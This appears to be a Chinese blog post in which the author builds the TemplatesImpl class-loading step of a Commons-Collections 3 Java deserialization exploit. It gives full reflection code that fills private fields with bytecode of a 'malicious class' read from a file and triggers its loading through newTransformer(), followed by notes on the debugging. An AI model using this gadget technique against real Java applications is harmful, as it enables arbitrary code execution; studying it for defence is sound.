记一个搞笑的自写类加载TemplatesImpl

今天没事想自己写个CC3类加载
结果为了顺利触发到TemplatesImpl#getTransletInstance的newInstance给我整急眼了,使劲改字段强行通过循环
在这里插入图片描述刚才判定了,_auxClasses为transient,不能用这种方法

结果搞了个下面的代码出来

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Properties;

public class CC3TemplatesImpl {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
        TemplatesImpl templatesClass = new TemplatesImpl();
        Field[] fields = templatesClass.getClass().getDeclaredFields();
        for (Field field : fields) {
            field.setAccessible(true);
            if (field.getName().equals("_bytecodes")) {
                field.set(templatesClass, new byte[][]{code});
            } else if (field.getName().equals("_name")) {
                field.set(templatesClass, "CC6TiedMapEntry");
            } else if (field.getName().equals("_tfactory")) {
                field.set(templatesClass, new TransformerFactoryImpl());
            } else if (field.getName().equals("_outputProperties")) {
                field.set(templatesClass, new Properties());
            } else if (field.getName().equals("_transletIndex")) {
                field.set(templatesClass, 0);
            } else if (field.getName().equals("_auxClasses")) {
                field.set(templatesClass, new HashMap<>());
            }
        }
        templatesClass.newTransformer();
    }
}

你别说,还真TM能跑。请添加图片描述
说一下怎么搞的
调试的时候bytecode数组只有一个恶意类,就创建不了hashMap,后面就put不进去。

在这里插入图片描述
于是我bytecode传了两个恶意数组

	field.set(templatesClass, new byte[][]{code,code});

结果进第二个catch,hashMap不能重复put
在这里插入图片描述
我又传了个空字节,我去,空字节不能defineClass,连循环都出不了

	field.set(templatesClass, new byte[][]{code,new byte[0]});

突然想到,我自己搞个hashMap就完了,用他的干毛啊
于是

else if (field.getName().equals("_auxClasses")) {
                field.set(templatesClass, new HashMap<>());
            }

感觉像个大铸币写的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值